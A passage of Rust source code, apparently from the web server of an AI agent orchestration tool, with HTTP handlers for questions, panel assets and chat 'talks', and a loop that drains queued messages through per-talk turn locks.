6912 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6913 ))
6914 })
6915 .await
6916}
6917
6918async fn question_consult(
6927 State(ui): State<Arc<Ui>>,
6928 Path(id): Path<String>,
6929) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6930 let (view, reclaimed) = blocking({
6931 let ui = Arc::clone(&ui);
6932 move || {
6933 let id = resolve_question(&ui.questions, &id)?;
6934 let q = ui
6935 .questions
6936 .get(&id)
6937 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6938 if !q.status.open() {
6939 return Err(ApiError::conflict(format!(
6940 "question {} is already {}",
6941 q.short(),
6942 q.status.as_str()
6943 )));
6944 }
6945 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6946 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6947 return Err(ApiError::conflict(format!(
6948 "question {} has no chat to ask",
6949 q.short()
6950 )));
6951 };
6952 let cfg = if q.consult.is_none() {
6956 Some(Config::discover(&talk.repo, None)?.0)
6957 } else {
6958 None
6959 };
6960 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6961 let claim = if fresh {
6962 match ui.begin_queued_talk_turn(&talk.id)? {
6963 Some(turn_guard) => {
6964 let talk = ui.talks.get(&talk.id)?;
6965 let cfg = match cfg {
6966 Some(cfg) => cfg,
6967 None => Config::discover(&talk.repo, None)?.0,
6968 };
6969 Some((talk, cfg, turn_guard))
6970 }
6971 None => None,
6972 }
6973 } else {
6974 None
6975 };
6976 let q = ui.questions.get(&q.id)?;
6977 let cfg = deputy_config(&ui.repo);
6978 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6979 Ok((view, claim))
6980 }
6981 })
6982 .await?;
6983 if let Some((talk, cfg, turn_guard)) = reclaimed {
6984 let talks = ui.talks.clone();
6985 let id = talk.id.clone();
6986 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6987 }
6988 Ok((StatusCode::ACCEPTED, Json(view)))
6989}
6990
6991fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6993 if store.path_of(id).is_file() {
6994 return Ok(id.to_owned());
6995 }
6996 pick(
6997 store.list().into_iter().map(|q| q.id).collect(),
6998 id,
6999 "question",
7000 )
7001}
7002
7003async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7018 blocking(move || {
7019 let id = resolve_question(&ui.questions, &id)?;
7020 let Some(html) = ui.questions.panel_html(&id) else {
7021 return Err(ApiError::not_found(format!("question {id} has no panel")));
7022 };
7023 Ok(panel_response(
7024 "text/html; charset=utf-8",
7025 false,
7026 html.into_bytes(),
7027 ))
7028 })
7029 .await
7030}
7031
7032async fn question_asset(
7060 State(ui): State<Arc<Ui>>,
7061 Path((id, name)): Path<(String, String)>,
7062) -> ApiResult<Response> {
7063 if !crate::ask::valid_asset_name(&name) {
7066 return Err(ApiError::bad_request(format!(
7067 "`{name}` is not a usable asset name"
7068 )));
7069 }
7070 blocking(move || {
7071 let id = resolve_question(&ui.questions, &id)?;
7072 let asset = ui
7073 .questions
7074 .panel_asset(&id, &name)
7075 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7076 let Some(bytes) = asset else {
7077 return Err(ApiError::not_found(format!(
7078 "question {id} has no asset `{name}`"
7079 )));
7080 };
7081 Ok(panel_response(
7082 asset_content_type(&name),
7083 is_svg(&name),
7084 bytes,
7085 ))
7086 })
7087 .await
7088}
7089
7090fn asset_content_type(name: &str) -> &'static str {
7103 match extension(name).as_deref() {
7104 Some("png") => "image/png",
7105 Some("jpg" | "jpeg") => "image/jpeg",
7106 Some("gif") => "image/gif",
7107 Some("webp") => "image/webp",
7108 Some("svg") => "image/svg+xml",
7109 Some("css") => "text/css; charset=utf-8",
7110 Some("txt") => "text/plain; charset=utf-8",
7111 _ => "application/octet-stream",
7112 }
7113}
7114
7115fn is_svg(name: &str) -> bool {
7118 extension(name).as_deref() == Some("svg")
7119}
7120
7121fn extension(name: &str) -> Option<String> {
7123 name.rsplit_once('.')
7124 .map(|(_, ext)| ext.to_ascii_lowercase())
7125}
7126
7127fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7144 let mut res = (
7145 [
7146 (header::CONTENT_TYPE, content_type),
7147 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7148 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7149 (header::REFERRER_POLICY, "no-referrer"),
7150 ],
7151 body,
7152 )
7153 .into_response();
7154 if download {
7155 res.headers_mut().insert(
7156 header::CONTENT_DISPOSITION,
7157 HeaderValue::from_static("attachment"),
7158 );
7159 }
7160 res
7161}
7162
7163#[derive(Debug, Serialize)]
7169struct TalkView {
7170 #[serde(flatten)]
7171 talk: Talk,
7172 turn_bodies_md: Vec<Vec<md::Node>>,
7173 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7175 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7176 thinking: bool,
7184 context: talk::ContextUsage,
7188 operator_name: Option<String>,
7191 persona_name: Option<String>,
7193 persona_avatar: String,
7196 operator_avatar: String,
7198 magi_avatar: String,
7199}
7200
7201impl TalkView {
7202 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7205 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7206 Self::with_config(talk, thinking, cfg.as_ref(), home)
7207 }
7208
7209 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7212 let snapshot = talk.clone();
7214 for (index, turn) in talk.turns.iter_mut().enumerate() {
7215 let original = &snapshot.turns[index];
7216 if turn.messages.is_empty() {
7217 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7218 turn.messages.push(talk::Message {
7219 sender: Some(talk::Sender::Magi),
7220 body: original.body.clone(),
7221 display: Some(display),
7222 attachments: original.attachments.clone(),
7223 reply: None,
7224 });
7225 }
7226 } else {
7227 for (i, message) in turn.messages.iter_mut().enumerate() {
7228 message.display =
7229 talk::notice_display(&snapshot, original, original.messages.get(i));
7230 if message.display.is_some() {
7231 message.sender = Some(talk::Sender::Magi);
7232 }
7233 }
7234 }
7235 }
7236 for message in &mut talk.pending_messages {
7237 if message.display.is_none()
7238 && (message.sender == Some(talk::Sender::Magi)
7239 || snapshot
7240 .completion_notices
7241 .iter()
7242 .any(|r| r.notice == message.body))
7243 {
7244 message.display = crate::prompt::legacy_notice_display(&message.body);
7245 if message.display.is_some() {
7246 message.sender = Some(talk::Sender::Magi);
7247 }
7248 }
7249 }
7250 if talk.pending_messages.is_empty()
7251 && snapshot
7252 .completion_notices
7253 .iter()
7254 .any(|r| r.notice == talk.pending)
7255 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7256 {
7257 talk.pending_messages.push(talk::Message {
7258 sender: Some(talk::Sender::Magi),
7259 display: Some(display),
7260 body: talk.pending.clone(),
7261 attachments: talk.pending_attachments.clone(),
7262 reply: None,
7263 });
7264 }
7265 let excerpts: Vec<Vec<Option<String>>> = talk
7266 .turns
7267 .iter()
7268 .map(|turn| {
7269 turn.messages
7270 .iter()
7271 .map(|m| {
7272 m.display
7273 .as_ref()
7274 .map(|d| d.facts.chars().take(240).collect())
7275 })
7276 .collect()
7277 })
7278 .collect();
7279 for turn in &mut talk.turns {
7280 let provenance = talk::sender(turn, None);
7281 turn.sender = Some(provenance);
7282 for message in &mut turn.messages {
7283 message.sender = Some(message.sender.unwrap_or(provenance));
7284 }
7285 }
7286 let senders: Vec<Vec<talk::Sender>> = talk
7288 .turns
7289 .iter()
7290 .map(|turn| {
7291 if turn.messages.is_empty() {
7292 vec![talk::sender(turn, None)]
7293 } else {
7294 turn.messages
7295 .iter()
7296 .map(|m| talk::sender(turn, Some(m)))
7297 .collect()
7298 }
7299 })
7300 .collect();
7301 for reply in talk
7302 .turns
7303 .iter_mut()
7304 .flat_map(|t| t.messages.iter_mut())
7305 .chain(talk.pending_messages.iter_mut())
7306 .filter_map(|m| m.reply.as_mut())
7307 {
7308 if let Some(Some(excerpt)) = excerpts
7309 .get(reply.target.turn)
7310 .and_then(|ms| ms.get(reply.target.message))
7311 {
7312 reply.excerpt = excerpt.clone();
7313 reply.sender = Some(talk::Sender::Magi);
7314 }
7315 if reply.sender.is_none() {
7316 reply.sender = senders
7317 .get(reply.target.turn)
7318 .and_then(|messages| messages.get(reply.target.message))
7319 .copied();
7320 }
7321 }
7322 let context = talk::context_usage(&talk, cfg);
7323 let turn_bodies_md = talk
7324 .turns
7325 .iter()
7326 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7327 .collect();
7328 let turn_messages_md = talk
7329 .turns
7330 .iter()
7331 .map(|turn| {
7332 if turn.messages.is_empty() {
7333 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7334 } else {
7335 turn.messages
7336 .iter()
7337 .map(|message| {
7338 notice_markdown(
7339 message.sender.unwrap_or(talk::Sender::Operator),
7340 &message.body,
7341 message.display.as_ref(),
7342 )
7343 })
7344 .collect()
7345 }
7346 })
7347 .collect();
7348 let pending_messages_md = talk
7349 .pending_messages
7350 .iter()
7351 .map(|message| {
7352 notice_markdown(
7353 message.sender.unwrap_or(talk::Sender::Operator),
7354 &message.body,
7355 message.display.as_ref(),
7356 )
7357 })
7358 .collect();
7359 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7360 let persona_name = persona::find(specs, &talk.persona)
7361 .filter(|p| !p.is_default())
7362 .map(|p| p.name);
7363 let mut avatar_persona = persona::find(specs, &talk.persona)
7364 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
7365 if avatar_persona.id != talk.persona
7367 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
7368 {
7369 avatar_persona.id.clone_from(&talk.persona);
7370 avatar_persona.icon = None;
7371 }
7372 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
7373 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7374 Self {
7375 turn_bodies_md,
7376 turn_messages_md,
7377 pending_messages_md,
7378 thinking,
7379 context,
7380 operator_name,
7381 persona_name,
7382 persona_avatar,
7383 magi_avatar: magi_icon_url(home),
7384 operator_avatar: operator_icon_url(home),
7385 talk,
7386 }
7387 }
7388}
7389
7390fn notice_markdown(
7392 sender: talk::Sender,
7393 body: &str,
7394 display: Option<&crate::prompt::NoticeDisplay>,
7395) -> Option<Vec<md::Node>> {
7396 if sender != talk::Sender::Magi {
7397 return None;
7398 }
7399 let text = if let Some(display) = display {
7400 display.facts.as_str()
7401 } else {
7402 if crate::prompt::is_completion_notice(body)
7405 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7406 {
7407 return None;
7408 }
7409 body.strip_prefix("magi: ").unwrap_or(body)
7410 };
7411 Some(md::to_nodes(text, &md::ImageBase::None))
7412}
7413
7414#[derive(Debug, Serialize)]
7419struct TalkDetailView {
7420 #[serde(flatten)]
7421 view: TalkView,
7422 tasks: Vec<TaskView>,
7423 task_progress: TalkTaskProgress,
7424 roster: Vec<RosterEntry>,
7427 personas: Vec<PersonaEntry>,
7430}
7431
7432#[derive(Debug, Serialize)]
7434struct TalkTaskProgress {
7435 state: &'static str,
7436 total: usize,
7437 done: usize,
7438 counts: std::collections::BTreeMap<&'static str, usize>,
7439 unfinished_ids: Vec<String>,
7440}
7441
7442fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7443 let mut counts = std::collections::BTreeMap::from([
7444 ("queued", 0),
7445 ("running", 0),
7446 ("done", 0),
7447 ("failed", 0),
7448 ("held", 0),
7449 ("blocked", 0),
7450 ("parked", 0),
7451 ]);
7452 let mut unfinished_ids = Vec::new();
7453 for task in tasks {
7454 *counts.entry(task.status.as_str()).or_default() += 1;
7455 if task.status != TaskStatus::Done {
7456 unfinished_ids.push(task.id.clone());
7457 }
7458 }
7459 TalkTaskProgress {
7460 state: if tasks.is_empty() {
7461 "none"
7462 } else if unfinished_ids.is_empty() {
7463 "complete"
7464 } else {
7465 "incomplete"
7466 },
7467 total: tasks.len(),
7468 done: tasks.len() - unfinished_ids.len(),
7469 counts,
7470 unfinished_ids,
7471 }
7472}
7473
7474#[derive(Debug, Serialize)]
7476struct PersonaEntry {
7477 id: String,
7478 name: String,
7479 avatar: String,
7481}
7482
7483#[derive(Debug, Serialize)]
7485struct RosterEntry {
7486 id: String,
7487 kind: AgentKind,
7488 runnable: bool,
7490}
7491
7492async fn talks_list(
7497 State(ui): State<Arc<Ui>>,
7498 Query(q): Query<ListQuery>,
7499) -> ApiResult<Json<Vec<TalkView>>> {
7500 blocking(move || {
7501 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7502 Ok(Json(
7503 ui.talks
7504 .list()
7505 .into_iter()
7506 .filter(|talk| q.contains(&talk.id))
7507 .map(|talk| {
7508 let thinking = ui.is_thinking(&talk.id);
7509 let cfg = configs
7510 .entry(talk.repo.clone())
7511 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7512 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7513 })
7514 .collect(),
7515 ))
7516 })
7517 .await
7518}
7519
7520#[derive(Debug, Default, Deserialize)]
7525#[serde(default)]
7526struct NewTalk {
7527 agent: Option<String>,
7528 repo: Option<PathBuf>,
7529 preferred_agent: Option<serde_json::Value>,
7533 persona: Option<serde_json::Value>,
7534 implementers: Option<serde_json::Value>,
7535}
7536
7537async fn talk_post(
7540 State(ui): State<Arc<Ui>>,
7541 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7542) -> ApiResult<impl IntoResponse> {
7543 let body = match body {
7547 Ok(Json(body)) => body,
7548 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7549 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7550 };
7551 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7552 let cfg = config_for(&repo).await?;
7553 let view = blocking(move || {
7554 let preferred = talk::Preferred {
7555 agent: body
7556 .preferred_agent
7557 .as_ref()
7558 .and_then(|v| v.as_str())
7559 .map(str::to_owned),
7560 persona: body
7561 .persona
7562 .as_ref()
7563 .and_then(|v| v.as_str())
7564 .map(str::to_owned),
7565 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7566 };
7567 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7568 let thinking = ui.is_thinking(&talk.id);
7569 Ok(TalkView::new(talk, thinking, &ui.home))
7570 })
7571 .await?;
7572 Ok((StatusCode::CREATED, Json(view)))
7573}
7574
7575async fn talk_detail(
7577 State(ui): State<Arc<Ui>>,
7578 Path(id): Path<String>,
7579) -> ApiResult<Json<TalkDetailView>> {
7580 blocking(move || {
7581 let id = resolve_talk(&ui.talks, &id)?;
7582 let talk = ui.talks.get(&id)?;
7583 let thinking = ui.is_thinking(&talk.id);
7584 let tasks = talk::tasks_of(&ui.queue, &talk.id);
7585 let task_progress = talk_task_progress(&tasks);
7586 let tasks = tasks.into_iter().map(TaskView::from).collect();
7587 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7588 let roster = cfg
7589 .as_ref()
7590 .map(|cfg| {
7591 cfg.agents
7592 .iter()
7593 .map(|a| RosterEntry {
7594 id: a.id.clone(),
7595 kind: a.kind,
7596 runnable: agent::installed(a),
7597 })
7598 .collect()
7599 })
7600 .unwrap_or_default();
7601 let specs = cfg
7602 .as_ref()
7603 .map(|cfg| cfg.talk.personas.clone())
7604 .unwrap_or_default();
7605 let personas = persona::catalog(&specs)
7606 .into_iter()
7607 .map(|p| PersonaEntry {
7608 avatar: avatar_url(&ui.home, &talk.id, &p),
7609 id: p.id,
7610 name: p.name,
7611 })
7612 .collect();
7613 Ok(Json(TalkDetailView {
7614 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7615 tasks,
7616 task_progress,
7617 roster,
7618 personas,
7619 }))
7620 })
7621 .await
7622}
7623
7624#[derive(Debug, Default, Deserialize)]
7630#[serde(default, deny_unknown_fields)]
7631struct NewTalkTurn {
7632 reply_to: Option<talk::ReplyTarget>,
7633 text: String,
7634 attachments: Vec<String>,
7635}
7636
7637#[derive(Debug, Deserialize)]
7638#[serde(deny_unknown_fields)]
7639struct EditTalkPending {
7640 #[serde(default)]
7641 message: Option<usize>,
7642 text: String,
7643 expected_text: String,
7644 expected_attachments: Vec<String>,
7645}
7646
7647#[derive(Debug, Deserialize)]
7648#[serde(deny_unknown_fields)]
7649struct ClearTalkPending {
7650 expected_text: String,
7651 expected_attachments: Vec<String>,
7652}
7653
7654async fn talk_say(
7666 State(ui): State<Arc<Ui>>,
7667 Path(id): Path<String>,
7668 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7669) -> ApiResult<(StatusCode, Json<TalkView>)> {
7670 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7671 if body.text.trim().is_empty() && body.attachments.is_empty() {
7672 return Err(ApiError::bad_request("say something"));
7673 }
7674
7675 let id = {
7676 let ui = Arc::clone(&ui);
7677 let asked = id.clone();
7678 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7679 };
7680 {
7684 let ui = Arc::clone(&ui);
7685 let id = id.clone();
7686 blocking(move || {
7687 let talk = ui.talks.get(&id)?;
7688 if !talk.status.open() {
7689 return Err(ApiError::conflict(format!(
7690 "talk {} is {} and takes no more turns",
7691 talk.short(),
7692 talk.status.as_str()
7693 )));
7694 }
7695 Ok(())
7696 })
7697 .await?;
7698 }
7699
7700 let attachments = {
7705 let ui = Arc::clone(&ui);
7706 let id = id.clone();
7707 let ids = body.attachments.clone();
7708 blocking(move || {
7709 ids.into_iter()
7710 .map(|att_id| {
7711 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7712 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7713 })
7714 })
7715 .collect::<ApiResult<Vec<talk::Attachment>>>()
7716 })
7717 .await?
7718 };
7719
7720 let start = {
7725 let ui = Arc::clone(&ui);
7726 let id = id.clone();
7727 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7728 };
7729 let turn_guard = match start {
7730 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7731 TalkTurnStart::Pending => {
7732 return Err(ApiError::conflict(
7733 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7734 ));
7735 }
7736 TalkTurnStart::Foreign => {
7737 return Err(ApiError::conflict(
7738 "a turn is already running in another process; try again when it has finished",
7739 ));
7740 }
7741 TalkTurnStart::Busy => {
7742 let (tx, rx) = tokio::sync::oneshot::channel();
7758 tokio::spawn({
7759 let ui = Arc::clone(&ui);
7760 let id = id.clone();
7761 let said = body.text.clone();
7762 let reply_to = body.reply_to.clone();
7763 async move {
7764 let written = blocking({
7765 let ui = Arc::clone(&ui);
7766 let id = id.clone();
7767 move || {
7768 let mut talk = ui.talks.get(&id)?;
7769 #[cfg(test)]
7774 if let Some(gate) = ui
7775 .busy_queue_gate
7776 .lock()
7777 .unwrap_or_else(PoisonError::into_inner)
7778 .take()
7779 {
7780 let _ = gate.reached.send(());
7781 let _ = gate.release.recv();
7782 }
7783 if let Err(error) = talk::queue_reply(
7784 &mut talk,
7785 &ui.talks,
7786 &said,
7787 attachments,
7788 reply_to,
7789 ) {
7790 if let Ok(fresh) = ui.talks.get(&id) {
7791 if !fresh.status.open() {
7792 return Err(ApiError::conflict(format!(
7793 "talk {} is {} and takes no more turns",
7794 fresh.short(),
7795 fresh.status.as_str()
7796 )));
7797 }
7798 }
7799 return Err(
7800 if error.to_string().contains("invalid reply target") {
7801 ApiError::bad_request("invalid reply target")
7802 } else {
7803 ApiError::from(error)
7804 },
7805 );
7806 }
7807 let claim = match ui.begin_queued_talk_turn(&id)? {
7818 Some(turn_guard) => {
7819 let (cfg, _) = Config::discover(&talk.repo, None)?;
7820 Some((talk.clone(), cfg, turn_guard))
7821 }
7822 None => None,
7823 };
7824 let thinking = ui.is_thinking(&id);
7825 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7826 }
7827 })
7828 .await;
7829 let (view, reclaimed) = match written {
7830 Ok(pair) => pair,
7831 Err(e) => {
7832 let _ = tx.send(Err(e));
7837 return;
7838 }
7839 };
7840 let _ = tx.send(Ok(view));
7843 if let Some((talk, cfg, turn_guard)) = reclaimed {
7844 let talks = ui.talks.clone();
7845 drain_loop(talk, talks, cfg, id, turn_guard).await;
7846 }
7847 }
7848 });
7849 let view = rx
7850 .await
7851 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7852 return Ok((StatusCode::ACCEPTED, Json(view)));
7853 }
7854 };
7855
7856 let (talk, cfg) = {
7857 let ui = Arc::clone(&ui);
7858 let id = id.clone();
7859 blocking(move || {
7860 let talk = ui.talks.get(&id)?;
7861 let (cfg, _) = Config::discover(&talk.repo, None)?;
7862 Ok((talk, cfg))
7863 })
7864 .await?
7865 };
7866
7867 let talks = ui.talks.clone();
7868 let (tx, rx) = tokio::sync::oneshot::channel();
7883 tokio::spawn({
7884 let ui = Arc::clone(&ui);
7885 let talks = talks.clone();
7886 let id = id.clone();
7887 let said = body.text.clone();
7888 let reply_to = body.reply_to.clone();
7889 let mut talk = talk.clone();
7890 async move {
7891 let recorded = blocking({
7892 let talks = talks.clone();
7893 move || {
7894 if let Err(error) =
7895 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7896 {
7897 if let Ok(fresh) = talks.get(&talk.id) {
7898 if !fresh.status.open() {
7899 return Err(ApiError::conflict(format!(
7900 "talk {} is {} and takes no more turns",
7901 fresh.short(),
7902 fresh.status.as_str()
7903 )));
7904 }
7905 }
7906 return Err(if error.to_string().contains("invalid reply target") {
7907 ApiError::bad_request("invalid reply target")
7908 } else {
7909 ApiError::from(error)
7910 });
7911 }
7912 Ok((said.trim().to_owned(), talk))
7918 }
7919 })
7920 .await;
7921 let (text, mut talk) = match recorded {
7922 Ok(pair) => pair,
7923 Err(e) => {
7924 let _ = tx.send(Err(e));
7928 return;
7929 }
7930 };
7931 let queued = talk.clone();
7932 let thinking = ui.is_thinking(&id);
7933 let _ = tx.send(Ok((queued, thinking)));
7936
7937 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7938 tracing::warn!("talk {id} turn failed: {e:#}");
7942 }
7943 drain_loop(talk, talks, cfg, id, turn_guard).await;
7946 }
7947 });
7948
7949 let (queued, thinking) = rx
7950 .await
7951 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7952
7953 Ok((
7955 StatusCode::ACCEPTED,
7956 Json(TalkView::new(queued, thinking, &ui.home)),
7957 ))
7958}
7959
7960async fn talk_pending_resume(
7964 State(ui): State<Arc<Ui>>,
7965 Path(id): Path<String>,
7966) -> ApiResult<(StatusCode, Json<TalkView>)> {
7967 let id = {
7968 let ui = Arc::clone(&ui);
7969 let asked = id.clone();
7970 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7971 };
7972 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7973 return Err(ApiError::conflict(
7974 "a talk turn is already running; the queued draft will be handled by it",
7975 ));
7976 };
7977 let (talk, cfg) = {
7978 let ui = Arc::clone(&ui);
7979 let id = id.clone();
7980 blocking(move || {
7981 let talk = ui.talks.get(&id)?;
7982 if !talk.status.open() {
7983 return Err(ApiError::conflict(format!(
7984 "talk {} is {} and takes no more turns",
7985 talk.short(),
7986 talk.status.as_str()
7987 )));
7988 }
7989 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7990 return Err(ApiError::conflict("there is no queued draft to resume"));
7991 }
7992 let (cfg, _) = Config::discover(&talk.repo, None)?;
7993 Ok((talk, cfg))
7994 })
7995 .await?
7996 };
7997 let view = TalkView::new(talk.clone(), true, &ui.home);
7998 let talks = ui.talks.clone();
7999 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8000 Ok((StatusCode::ACCEPTED, Json(view)))
8001}
8002
8003async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8019 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8020}
8021
8022async fn settle_settings_turn(
8026 talk: Talk,
8027 talks: Talks,
8028 cfg: Config,
8029 id: String,
8030 turn: TalkTurnGuard,
8031 observed: u64,
8032) -> bool {
8033 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8034 let turns = Arc::clone(&turn.turns);
8035 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8036 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8037 turn.release(&mut live);
8039 return false;
8040 }
8041 }
8042 let (started, settled) = tokio::sync::oneshot::channel();
8043 tokio::spawn(drain_loop_started(
8044 talk,
8045 talks,
8046 cfg,
8047 id,
8048 turn,
8049 Some(started),
8050 ));
8051 settled.await.unwrap_or(false)
8052}
8053
8054async fn drain_loop_started(
8055 mut talk: Talk,
8056 talks: Talks,
8057 cfg: Config,
8058 id: String,
8059 turn: TalkTurnGuard,
8060 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8061) {
8062 let live_set = Arc::clone(&turn.turns);
8063 let mut turn = Some(turn);
8071 loop {
8072 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8073 tracing::warn!("talk {id} lost its turn lease; not draining further");
8076 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8077 if let Some(turn) = turn.take() {
8078 turn.release(&mut live);
8079 }
8080 break;
8081 }
8082 {
8083 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8086 if live.parking {
8087 if let Some(turn) = turn.take() {
8088 turn.release(&mut live);
8089 }
8090 break;
8091 }
8092 }
8093 let observed = live_set
8097 .lock()
8098 .unwrap_or_else(PoisonError::into_inner)
8099 .queued
8100 .get(&id)
8101 .copied()
8102 .unwrap_or(0);
8103 let drained = blocking({
8104 let talks = talks.clone();
8105 let live_set = Arc::clone(&live_set);
8106 move || {
8107 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8112 let result = if live.parking {
8113 Ok(None)
8114 } else {
8115 talk::drain(&mut talk, &talks)
8116 };
8117 drop(live);
8118 Ok((talk, result))
8119 }
8120 })
8121 .await;
8122 let (next_talk, result) = match drained {
8123 Ok(drained) => drained,
8124 Err(e) => {
8125 tracing::warn!(
8126 status = %e.status,
8127 message = %e.message,
8128 "talk {id} could not start queued-text drain"
8129 );
8130 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8131 turn.take()
8132 .expect("held for the whole loop until released here")
8133 .release(&mut live);
8134 break;
8135 }
8136 };
8137 talk = next_talk;
8138 let drained = match result {
8139 Ok(Some(drained)) => drained,
8140 Ok(None) => {
8141 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8142 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8143 continue;
8144 }
8145 turn.take()
8146 .expect("held for the whole loop until released here")
8147 .release(&mut live);
8148 break;
8149 }
8150 Err(e) => {
8151 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8152 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8153 turn.take()
8154 .expect("held for the whole loop until released here")
8155 .release(&mut live);
8156 break;
8157 }
8158 };
8159 if let Some(started) = started.take() {
8160 let _ = started.send(true);
8161 }
8162 let responded = match turn.as_ref() {
8163 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8164 None => Err(anyhow::anyhow!("the turn guard was released")),
8165 };
8166 if let Err(e) = responded {
8167 tracing::warn!("talk {id} turn failed: {e:#}");
8168 }
8169 }
8170 drop(turn);
8171 if let Some(started) = started {
8172 let _ = started.send(false);
8173 }
8174}
8175
8176async fn talk_pending_clear(
8178 State(ui): State<Arc<Ui>>,
8179 Path(id): Path<String>,
8180 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8181) -> ApiResult<Json<TalkView>> {
8182 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8183 blocking(move || {
8184 let id = resolve_talk(&ui.talks, &id)?;
8185 let mut talk = ui.talks.get(&id)?;
8186 if !talk.status.open() {
8187 return Err(ApiError::conflict(format!(
8188 "talk {} is {} and takes no more turns",
8189 talk.short(),
8190 talk.status.as_str()
8191 )));
8192 }
8193 if !talk::clear_pending_if_matches(
8194 &mut talk,
8195 &ui.talks,
8196 &body.expected_text,
8197 &body.expected_attachments,
8198 )? {
8199 return Err(ApiError::conflict(
8200 "queued message changed; reload it before clearing",
8201 ));
8202 }
8203 let thinking = ui.is_thinking(&talk.id);
8204 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8205 })
8206 .await
8207}
8208
8209async fn talk_pending_edit(
8213 State(ui): State<Arc<Ui>>,
8214 Path(id): Path<String>,
8215 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8216) -> ApiResult<Json<TalkView>> {
8217 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8218 let (view, reclaimed) = blocking({
8219 let ui = Arc::clone(&ui);
8220 move || {
8221 let id = resolve_talk(&ui.talks, &id)?;
8222 let mut talk = ui.talks.get(&id)?;
8223 if !talk.status.open() {
8224 return Err(ApiError::conflict(format!(
8225 "talk {} is {} and takes no more turns",
8226 talk.short(),
8227 talk.status.as_str()
8228 )));
8229 }
8230 if !talk::edit_pending_message(
8231 &mut talk,
8232 &ui.talks,
8233 &body.text,
8234 &body.expected_text,
8235 &body.expected_attachments,
8236 body.message,
8237 )? {
8238 return Err(ApiError::conflict(
8239 "queued message changed; reload it before editing",
8240 ));
